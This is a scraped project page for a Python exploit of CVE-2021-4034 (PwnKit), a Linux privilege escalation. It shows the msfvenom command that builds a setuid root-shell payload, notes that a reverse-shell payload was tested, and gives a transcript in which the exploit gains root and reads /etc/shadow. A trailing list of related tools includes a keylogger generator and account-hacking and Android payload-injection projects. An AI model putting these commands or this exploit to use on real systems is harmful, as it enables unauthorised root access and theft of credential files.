Python exploit code for CVE-2021-4034 (pwnkit)

Last update: Dec 29, 2022

Overview

Python3 code to exploit CVE-2021-4034 (PWNKIT). This was an exercise in "can I make this work in Python?", and not meant as a robust exploit. It Works For Me, there are problaby bugs.

The default payload starts a shell as root, generated from msfvenom:

msfvenom -p linux/x64/exec -f elf-so PrependSetuid=true | base64

I've tested linux/x64/shell_reverse_tcp as well. Make sure you include the PrependSetuid=true argument to msfvenom, otherwise you'll just get a shell as the user and not root.

The code is cribbed from blasty, the orginal is available here

$ python CVE-2021-4034.py
[+] Creating shared library for exploit code.
[+] Calling execve()
# id
uid=0(root) gid=1000(jra) groups=1000(jra),4(adm),27(sudo),119(lpadmin),998(lxd)
# whoami
root
# head /etc/shadow
root:*:18709:0:99999:7:::
daemon:*:18709:0:99999:7:::
bin:*:18709:0:99999:7:::
sys:*:18709:0:99999:7:::
sync:*:18709:0:99999:7:::
games:*:18709:0:99999:7:::
man:*:18709:0:99999:7:::
lp:*:18709:0:99999:7:::
mail:*:18709:0:99999:7:::
news:*:18709:0:99999:7:::
#

Python exploit code for CVE-2021-4034 (pwnkit)

Related tags

Overview

Owner

Joe Ammond

Get important strings inside [Info.plist] & and Binary file also all output of result it will be saved in [app_binary].json , [app_plist_file].json file

Safe Policy Optimization with Local Features

CVE-2021-26855: PoC (Not a HoneyPoC for once!)

⛤Keylogger Generator for Windows written in Python⛤

A Proof-Of-Concept for the recently found CVE-2021-44228 vulnerability

The First Python Compatible Camera Hacking Tool

Um script simples de Port Scan + DNS by Hostname

CVE-log4j CheckMK plugin

Pass2Pwn: a simple python3 tool created to assist penetration testers generate possible passwords for a targeted system based solely on the organization's name

Simple tool to create passwords.

Detection tool of malware(s) by checksum (useful for forensic)

'Our Drowsinessdetector detects drivers eyes if they are closed for more than 2 seconds and alerts driver'

This script allows you to make a onion host instantly.

:closed_lock_with_key: multi factor authentication system (2FA, MFA, OTP Server)

A python tool capable of creating HUGE wordlists. Has the ability to add custom words for concatenation in any way you see fit.

Python directory buster, multiple threads, gobuster-like CLI, web server brute-forcer, URL replace pattern feature.

A python script to decrypt media files encrypted using the Android application 'Decrypting 'LOCKED Secret Calculator Vault''. Will identify PIN / pattern.

An automated, reliable scanner for the Log4Shell (CVE-2021-44228) vulnerability.

Hack any account sending fake nitro QR code (only for educational purpose)

对安卓APP注入MSF PAYLOAD，并且对手机管家进行BYPASS。